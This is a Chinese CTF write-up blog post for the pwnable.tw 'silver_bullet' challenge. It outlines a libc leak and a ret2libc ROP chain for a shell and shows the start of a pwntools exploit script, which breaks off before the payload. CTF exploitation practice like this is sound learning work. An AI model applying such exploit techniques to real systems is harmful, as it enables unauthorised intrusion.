silver bullet记录

本文介绍了一个针对silver_bullet程序的exploit过程,通过检查程序特性,利用未开启的Canary和PIE,选择使用ROP ret2libc技术。通过先创建对象再增强能力来泄露基地址,然后构造payload执行puts和system函数,最终获得shell。
摘要由CSDN通过智能技术生成

 老套路检查一下

没开canary和pie,只开了NX。所以我们用ROP ret2libc.我们运行程序发现,这个程序需要我们赢这个游戏他才能ret,就是beat非0。通过先creat再powerup泄露基地址,然后ret2libc进行ROP。

EXP:

from pwn import *

p = remote("chall.pwnable.tw", 10103)
e = ELF("./silver_bullet")
l = ELF("./libc_32.so.6")
context.log_level = 'debug'

def creat(data):
    p.recvuntil(b"Your choice :")
    p.send(b"1")
    p.recvuntil(b"Give me your description of bullet :")
    p.send(data)
def power(data):
    p.recvuntil(b"Your choice :")
    p.send(b"2")
    p.recvuntil(b"Give me your another description of bullet :")
    p.send(data)
def beat():
    p.recvuntil(b"Your choice :")

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值